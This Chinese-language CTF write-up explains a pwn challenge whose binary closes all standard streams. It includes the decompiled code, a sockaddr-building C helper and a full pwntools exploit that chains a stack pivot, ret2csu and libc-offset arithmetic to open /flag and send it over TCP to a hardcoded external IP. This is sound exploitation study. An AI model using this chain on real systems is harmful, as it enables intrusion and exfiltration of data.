关闭输出后想要得到 flag, 可以建立一个 socket 链接, 通过 TCP 发送出去.
首先得有一个能够访问的 socket server, 可以拿有公网 ip 的服务器, 使用 nc -lp <port>
开一个 socket 服务端并监听 <port>
. 然后控制程序流执行
sockfd = socket(2, 1, 0)
获得一个 socket 描述符
connect(sockfd, socked_addr, 16)
建立链接
write(sockfd, data, size)
发送数据
socket(2, 1, 0)
是初始化一个 ipv4 的 stream socket, connect
的第二个参数 socked_addr
是服务端地址及端口编码后的一个数据结构 (struct sockaddr_in
), 长度为 16. 这个数据结构的内容可以写一个 c 程序获取:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main() {
struct sockaddr_in *serv_addr = malloc(sizeof(struct sockaddr_in));
memset(serv_addr, 0, sizeof(struct sockaddr_in));
serv_addr->sin_family = AF_INET;
serv_addr->sin_addr.s_addr = inet_addr("127.0.0.1");
serv_addr->sin_port = htons(8888);
write(1, serv_addr, 16);
return 0;
}
|
TECHNOFAIRCTF 2022 (不知道叫啥名)
Full RELRO, 没有 canary, 没有 PIE. 开了沙箱, 不能使用 execve, execveat, mprotect.
main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
int __fastcall main(__int64 a1, char **a2, char **a3)
{
size_t v3; // rax
char v5[24]; // [rsp+0h] [rbp-20h] BYREF
char *s; // [rsp+18h] [rbp-8h]
Init();
s = (char *)calloc(1uLL, 0x2000uLL);
puts("\n\t\t------------------------------\n\t\tWelcome to TECHNOFAIRCTF 2022.\n\t\t------------------------------");
printf(
"\t Hello pwner, We need your advice to make our CTF better\n"
"\t As an appretiation from us, we give this bonus for you [%p]\n"
"\n",
s);
printf("[?] Advice\t: ");
fgets(s, 0x2000, stdin);
printf("[?] Team Name\t: ");
fgets(v5, 0x30, stdin);
puts("\nThank you. Good luck and have pwn. May the flag be with you");
if ( !s )
exit(-1);
v3 = malloc_usable_size(s);
memset(s, 0, v3);
free(s);
close(0);
close(1);
return close(2);
}
|
Init:
1
2
3
4
5
6
7
8
9
10
11
12
|
void Init()
{
__int64 v0; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v0 = seccomp_init();
seccomp_rule_add(v0, 0LL, 59LL, 0LL);
seccomp_rule_add(v0, 0LL, 322LL, 0LL);
seccomp_rule_add(v0, 0LL, 10LL, 0LL);
seccomp_load(v0);
}
|
给了一个可写的堆地址. 缓存区溢出, 覆盖 s 指针到一个可以 free 的地方绕过 memset 和 free, 进行栈迁移. 重点是后续关闭了 stdin, stdout, stderr.
由于 socket, connect 等也是 glibc 中的函数, 没有了输出要怎么找到这些函数在哪里呢? bss 上有 stdout 和 stdin 可以尝试在内存中进行加减的操作, 然后利用 ret2csu 中的 call [reg]. 这里可以搜到一个 gadget: add dword [rbp - 0x3d], ebx; nop; ret
(第一次做的时候其实找到了这个, 一看这只能加个 4 字节, 那减不了啊会加个 0xffffxxxx 上去, 然后就不会了, 我是sb)
add dword [rbp - 0x3d], ebx
是对 dword 的操作, 加个 0xffffffff
, 会溢出, 而不是再往前进位. 所以是可以减的.
rbp 和 ebx 可以用 ret2csu 控制, 那么可以根据 _IO_2_1_stdout_
和其他函数的偏移, 计算出地址, 然后 call 过去执行. connect
中的 sockaddr 可以写个程序获取到, 事先布置在 heap 上.
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')
procname = './pwn'
libcname = './libc.so.6'
io = process(procname, stdin=PTY)
elf = ELF(procname)
libc = ELF(libcname)
io.recvlines(5)
r = io.recvline()
heap = int(r[r.index(b'[')+1:r.index(b']')], 16)
success(f'leak heap: {hex(heap)}')
flag = heap + 0x1000
sockaddr = heap + 0x1010
buf = heap + 0x1500
dummy_chunk = heap - 0xb60
target = 0x00404010
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x004014ea
add_rbp_0x3d_ebx_ret = 0x0040129c
leave_ret = 0x00401482
pop_rdi_ret = 0x004014f3
pop_rsi_r15_ret = 0x004014f1
csu = 0x004014c7
def ret2csu(ptr_addr, rdi, rsi, rdx):
return flat([
p64(pop_rbx_rbp_r12_r13_r14_r15_ret),
p64(0),
p64(1),
p64(rdi),
p64(rsi),
p64(rdx),
p64(ptr_addr),
p64(csu),
p64(0) * 7,
])
def modify(addr, offset):
return flat([
p64(pop_rbx_rbp_r12_r13_r14_r15_ret),
p32(offset, sign='signed') + p32(0),
p64(addr + 0x3d),
p64(0) * 4,
p64(add_rbp_0x3d_ebx_ret),
])
payload = flat([
p64(target),
modify(target, libc.sym['open'] - libc.sym['_IO_2_1_stdout_']),
ret2csu(target, flag, 0, 0),
modify(target, libc.sym['read'] - libc.sym['open']),
ret2csu(target, 0, buf, 0x50),
modify(target, libc.sym['socket'] - libc.sym['read']),
ret2csu(target, 2, 1, 0),
modify(target, libc.sym['connect'] - libc.sym['socket']),
ret2csu(target, 1, sockaddr, 16),
modify(target, libc.sym['write'] - libc.sym['connect']),
ret2csu(target, 1, buf, 0x50),
]).ljust(0x1000, b'\x00')
payload += flat([
b'/flag'.ljust(16, b'\x00'),
b'\x02\x00\x22\xb8\x68\x81\x3f\x69'.ljust(16, b'\x00'),
]).ljust(0x1000-1, b'\x00')
io.sendafter(b': ', payload)
payload = b'a' * 0x18 + p64(dummy_chunk) + p64(heap) + p64(leave_ret)[:-1]
io.sendafter(b': ', payload)
|
之前看到一篇 open("/dev/pts/?")
重新打开 stdout 的, 这题一开始写的是这个但是没通, 之后再研究研究.